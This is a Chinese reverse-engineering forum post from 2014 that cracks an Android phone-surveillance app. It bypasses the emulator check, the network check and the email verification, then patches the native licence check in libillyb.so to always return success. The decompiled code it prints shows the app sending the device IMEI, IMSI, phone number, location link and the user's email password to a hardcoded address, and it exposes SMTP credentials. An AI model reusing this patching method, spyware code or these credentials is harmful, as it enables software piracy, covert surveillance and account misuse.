首页
社区
课程
招聘
[原创]某通信监控软件爆破分析
2014-12-17 02:26 18584

[原创]某通信监控软件爆破分析

2014-12-17 02:26
18584
注:本APP会有杀软报毒,不过其本身就类似木马,介意的朋友请慎下。

使用用具:APKIDE(改之理)
          IDA Pro
          Arm汇编转换器
          UltraEdit

    先运行软件,出来启动界面后居然退出了,我用的2.2版本Android SDK模拟器,是不是版本问题?换了4.x的,现象依然一样,第一反应是APP检测了模拟器环境。
    那么就反编译出来看看吧。将软件apk用APKIDE反编译,看起来很顺利,分析AndroidManifest.xml,找到主Activity为com.vipios.activity.MainActivity,找到相应目录下的MainActivity.smali,打开,很长很不直观啊,看看Java代码吧,打开Java源码的菜单居然灰色不可选,看着反编译出来的类名和smali内容很工整啊,没有混淆过,不甘心啊。
    是什么问题呢?dex中有什么猫腻呢?IDA Pro是时候该出场了。将apk拖入IDA,选择classes.dex进行分析。既然是来找问题的,分析完直接Ctrl-Q查看问题代码,看到吗,不少哦!

    点击第一处CODE,看到的代码不知所云,Source file也没解析出来:

    这部分代码所属public java.lang.String android.a.a()对应smali\android\a.smali文件,在APKIDE中打开,看到source "\nSDK\u7248\u672c:",这个明显是为了干扰反编译程序植入的垃圾代码,直接删除a.smali。
    余下的问题代码同样处理,删除完垃圾smali后,在APKIDE中编译通过,然后再反编译刚才编译出来的apk,打开Java源码的菜单可选了,打开看看,很漂亮的代码,Bingo!(注:这个apk不能运行,后面的修改都是建立在原包的基础上的)

    来到MainActivity看看,onStart中调用的isMoni()这个函数从名字到长相都很可疑,看看代码:
  private boolean isMoni()
  {
    String str = ((TelephonyManager)getSystemService("phone")).getDeviceId();
    return (str != null) && (str.trim().length() != 0) && (!str.matches("0+"));
  }
    获取IMEI并判断是否符合模拟器的特征,返回0即是模拟器,就是它了。修改相应的smali,函数返回前的return v2前加上const/4 v2, 0x1,让其返回1,编译,模拟器上运行,界面出来了。随便填入个邮箱,提示我开启手机网络。

    邮箱是否可用由我说了算,干嘛要测试?干掉它!查找字符串,定位到testSave函数。
    if (!OtherOperatorService.check3Gwifi(getApplicationContext()))
    {
      Toast.makeText(getApplicationContext(), "先开启手机网络,以便测试邮箱是否可用", 1).show();
      return;
    }
    对应smali中的:
    invoke-static {v3}, Lcom/vipios/service/OtherOperatorService;->check3Gwifi(Landroid/content/Context;)Z
    move-result v3
    if-nez v3, :cond_3
    通过check3Gwifi函数检测网络是否打开,结果为0则表示网络没有打开,出现提示。直接将最后的if-nez v3, :cond_3改为goto :cond_3。通过对check3Gwifi的调用搜索发现ZhuceActivity中也有一个判断,同样毙掉了。
    再运行,输入邮箱点保存,这次出来“开启你邮箱SMTP服务(查看帮助),或邮箱或密码输入错误;或更换邮箱重试!”,查到代码调用,在MainActivity.testSave中:
    Thread localThread = new Thread(new Runnable()
    {
      public void run()
      {
        String str1 = MainActivity.this.smtpTemp;
        String str2 = MainActivity.this.portTemp;
        String str3 = MainActivity.this.userEmailTemp;
        String str4 = MainActivity.this.userPasswordTemp;
        String str5 = MainActivity.this.userEmailTemp;
        String[] arrayOfString = new String[1];
        arrayOfString[0] = MainActivity.this.userEmailTemp;
        MailSenderInfo localMailSenderInfo = new MailSenderInfo(str1, str2, str3, str4, true, str5, arrayOfString, MainActivity.this.subject, MainActivity.this.content);
        if (new SimpleMailSender().sendHtmlMail(localMailSenderInfo))
        {
          MainActivity.testok = 1;
          MainActivity.this.userSave();
          return;
        }
        MainActivity.testok = 2;
      }
    });
    localThread.start();
    try
    {
      localThread.join();
      if (testok == 1)
      {
        Toast.makeText(getApplicationContext(), "恭喜你,保存成功", 1).show();
        setUserEditedStates(false);
        this.subject = (this.userEmailTemp + "-" + this.shoujiImei + "正在测试" + OtherOperatorService.getVersionName(this) + "版(" + getPackageName() + "-" + "" + "-" + "finspy_vip@163.com" + ")");
        this.content = ("设定邮箱:" + this.userEmailTemp + "(" + this.userPasswordTemp + ")绑定号码:" + this.userPhoneNumberTemp + ";设置功能:" + this.tonghuajiluTemp + "," + this.duanxinjiluTemp + "," + this.tonghualuyinTemp + "," + this.weizhijiluTemp + "," + this.qqjiluTemp + "," + this.weixinjiluTemp + ";发送设置:" + this.allnetTemp + "," + this.wifiTemp + ";SDK版本:" + Build.VERSION.SDK_INT + ";" + "Model型号:" + Build.MODEL + ";Android版本:" + Build.VERSION.RELEASE + "<br/>当前卡号及编码" + this.NativePhoneNumber + "," + this.IMSI + "(" + OtherOperatorService.getCardName(this.IMSI) + ")" + LocationEmailInfo.getBaiduMaplink());
        OtherOperatorService.uploadEmail(OtherOperatorService.getUserSmtp("tyling7775@yeah.net"), OtherOperatorService.getUserPort("tyling7775@yeah.net"), "tyling7775@yeah.net", "tyling132014", "tyling7775@yeah.net", new String[] { "finspy_vip@163.com" }, this.subject, this.content);
        testok = 0;
        return;
      }
    }
    catch (InterruptedException localInterruptedException)
    {
      do
      {
        for (;;)
        {
          testok = 2;
        }
      } while (testok != 2);
      Toast.makeText(getApplicationContext(), "开启你邮箱SMTP服务(查看帮助),或邮箱或密码输入错误;或更换邮箱重试!", 1).show();
      testok = 0;
    }
    向上看,有“恭喜你,保存成功”的字样,要保存成功,必须转到这里执行,转到这里执行的条件是testok == 1,再向上看,testok在run函数中赋值,直接修改赋值就可以了。Run函数在MainActivity$4.smali中,赋值前会发邮件进行验证判断,将验证部分也干掉,将“invoke-direct/range {v0 .. v9}, Lcom/illyb/mail/MailSenderInfo;-><init>”至“if-eqz v10, :cond_0”的内容全部删除。即直接将v5(初始化为1)赋值给testok后返回。编译后运行,提示保存成功了。
    下面到注册了,点击注册按钮,出来注册界面。随意输入注册码,点击“注册保存”,提示“请检查注册码是否正确”。查找提示,来到ZhuceActivity. saveHide函数:
  public void saveHide(View paramView)
  {
    String str = this.zhucemaeEditText.getText().toString().trim().toUpperCase(Locale.US);
    if (this.isRegOK)
    {
      startActivity(new Intent(this, AnyuActivity.class));
      return;
    }
    if (!OtherOperatorService.check3Gwifi(this))
    {
      Toast.makeText(getApplicationContext(), "先开启手机网络以便为你注册", 1).show();
      return;
    }
    if (!this.ps.isUserSetOk())
    {
      Toast.makeText(this, "返回先设置邮箱,并保存成功", 1).show();
      return;
    }
    if (("".equals(str)) || (str == null))
    {
      Toast.makeText(this, "请先输入注册码", 1).show();
      return;
    }
    this.isRegOK = NativeClass.userSaveReg(this, this.ps.getPackName(), this.ps.getUserEmail(), this.ps.getShoujiImei(), str, 0);
    if (this.isRegOK) {
      Toast.makeText(this, "恭喜你注册成功", 1).show();
    }
    for (;;)
    {
      try
      {
        Thread.sleep(1000L);
        finish();
        return;
      }
      catch (Exception localException)
      {
        return;
      }
      Toast.makeText(this, "请检查注册码是否正确", 1).show();
    }
  }
    向上看到“恭喜你注册成功”的字样,心中窃喜,So Easy!修改对应smali,运行,结果很伤自尊。老兄,没这么好混的好不好。
    再看,isRegOK要置1就注册成功,前面调用了NativeClass.userSaveReg,这个又是什么呢?看看NativeClass中的声明public static native boolean userSaveReg,是个native函数啊,位于名为illyb的库中,没办法,硬着头皮上吧。
    IDA再次出手,找到lib下的libillyb.so,拖入IDA中分析。在IDA的Exports页面下找到Java_com_illyb_main_NativeClass_userSaveReg,点击来到函数地址,满眼的ARM指令啊,好在我们有屠A宝刀,按F5看看伪代码:
int __fastcall Java_com_illyb_main_NativeClass_userSaveReg(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
{
  int v8; // r4@1
  int v9; // ST0C_4@1
  int v10; // r5@1
  int v11; // r6@1
  char *v12; // r7@1
  int v13; // ST0C_4@1
  int v14; // r0@1
  int v15; // r5@1
  int v16; // r0@1
  int v17; // r0@1
  int v18; // r0@3
  int result; // r0@3
  int v20; // r0@4

  v8 = a1;
  v9 = ((int (*)(void))sub_919C)();
  v10 = sub_919C(v8, a5);
  v11 = sub_919C(v8, a6);
  v12 = (char *)sub_919C(v8, a7);
  v13 = areYouOk(v9, v10, v11, v12, a8);
  _JNIEnv::ReleaseStringUTFChars(v8, a5, v10);
  _JNIEnv::ReleaseStringUTFChars(v8, a6, v11);
  _JNIEnv::ReleaseStringUTFChars(v8, a7, v12);
  v14 = (*(int (__fastcall **)(int, _DWORD))(*(_DWORD *)v8 + 24))(v8, "com/illyb/tool/OperatorService");
  v15 = v14;
  v16 = _JNIEnv::GetStaticMethodID(v8, v14, "getRegTimes", "(Landroid/content/Context;Ljava/lang/String;)I");
  v17 = _JNIEnv::CallStaticIntMethod(v8, v15, v16);
  if ( v13 && v17 <= 4 )
  {
    v18 = _JNIEnv::GetStaticMethodID(v8, v15, "saveReg", "(Landroid/content/Context;Ljava/lang/String;)Z");
    result = _JNIEnv::CallStaticBooleanMethod(v8, v15, v18);
  }
  else
  {
    v20 = _JNIEnv::GetStaticMethodID(v8, v15, "saveRegTimes", "(Landroid/content/Context;I)Z");
    _JNIEnv::CallStaticBooleanMethod(v8, v15, v20);
    result = 0;
  }
  return result;
}
    Java调用JNI函数时,a1(R0)代表JNIEnv*,a2(R1)代表thiz,a3(R2)才是第1个参数,这里a7就是传过来的注册码。这部分代码的大意是先将Java传过来的参数转换成JNI能识别的类型(由ARM代码对照JNI_ENV函数表得知sub_919C实际上是GetStringUTFChars),再由areYouOk进行注册码合法性的验证,最后根据验证结果执行后面的动作调用Java中的不同方法。从前面的分析得知userSaveReg的返回值为1 注册成功,因此不能进入else的部分。那如何跳到if里呢,取决于v13&&v17的结果,v13是areYouOk的返回值,v17是Lcom/illyb/tool/OperatorService/getRegTimes的返回值,getRegTimes代码:
  private static int getRegTimes(Context paramContext, String paramString)
  {
    return paramContext.getSharedPreferences("reg", 0).getInt("regtimes", 0);
  }
    以上代码从/data/data/com.vipios/shared_prefs/reg.xml将regtimes值取出,这个regtimes经分析为输入注册码的次数x2,那么if的条件应该是限制多次重试注册码的,那么v13&&v17的值必须<=4。
    那么这里是否可以修改代码直接跳转到if里面呢?答案是可以的,但是不建议这么做,为什么呢?继续往下看。现在看来问题的关键就在areYouOk上,我们进入areYouOk的地盘,在IDA的Exports页面下找到areYouOk,点击进入,然后jump to xref:

    看到了吗,共有7处调用了areYouOk,如果在上面的userSaveReg里直接修改,剩下来的函数也要一个个修改,麻烦而且容易出错。通过进入其他调用areYouOk函数进行分析,更加肯定了areYouOk就是关键,而且返回1可以满足所有函数的正确跳转。
    那么我们还是来修改areYouOk吧。ARM中函数的返回值存放在R0,我们只要在返回前将R0置为1就可以了。在areYouOk中往下拉到最后,或切换到图形模式可将流程看得更清楚些,看到返回前代码为:
loc_9518
ADD     SP, SP, #0x1FC
MOVS    R0, R4			      ;保存返回结果
POP     {R4-R7,PC}		    ;恢复进入函数前现场

    典型的函数返回代码,现在我们只要将MOVS R0, R4改为MOVS R0, #1就离胜利不远了。在IDA中切换到Hex View窗口,MOVS R0, R4机器码为20 1C,那么要改成什么呢?真是头痛啊!
    最后的利器隆重登场---- Arm汇编转换器该拿下遮羞布了,以上看到一个代码两个字节,需要用thumb模式转换,转换器汇编窗口输入.code 16,再输入要转换的代码:

    OK,结果出来了,上面是原来的指令MOVS R0, R4机器码为20 1C,下面为修改后的指令MOVS R0, #1机器码为01 20。
    好吧,UltraEdit久等了,谢幕就由你来吧(其实这才是最后的利器)!打开libillyb.so,Ctrl-G跳转到IDA中显示的修改地址,核实无误将20 1C修改为01 20,保存,libillyb.so复制回lib目录,编译运行,提示注册成功了,请注意注册成功后下面的按钮也变了。

    手贱点了一下隐藏,于是程序抽屉的图标点不动了,说程序没安装,重启后图标消失,只有卸载重装才找回来了。至此爆破结束,各位耐心看我啰啰嗦嗦到现在的看官谢谢了!
教程附件.rar

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (8)
雪    币: 118
活跃值: (72)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
dalerkd 1 2014-12-17 07:41
2
0
好贴好贴前排学习
雪    币: 482
活跃值: (273)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
Tee8088 2 2014-12-17 09:14
3
0
为啥写这类软件的人都喜欢取名叫什么计算器呢????
雪    币: 60
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
white、、 2014-12-17 09:25
4
0
好贴 给个赞。
雪    币: 188
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
JackJoker 2014-12-17 09:50
5
0
好帖子,学习啦。
雪    币: 102
活跃值: (50)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
nence 2014-12-17 12:30
6
0
我理解,所有的程序本质都是计算器哈哈,好帖顶一个
雪    币: 578
活跃值: (753)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zgzxp 2014-12-25 14:54
7
0
大神有没有破解后的版本了
雪    币: 36
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
lsniagaraI 2014-12-26 16:40
8
0
大侠,你的IDA是什么版本,为什么我的F5没有?
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wwiff 2015-2-2 16:45
9
0
这款软件是个骗局,根本不可能实现他所说的功能的
游客
登录 | 注册 方可回帖
返回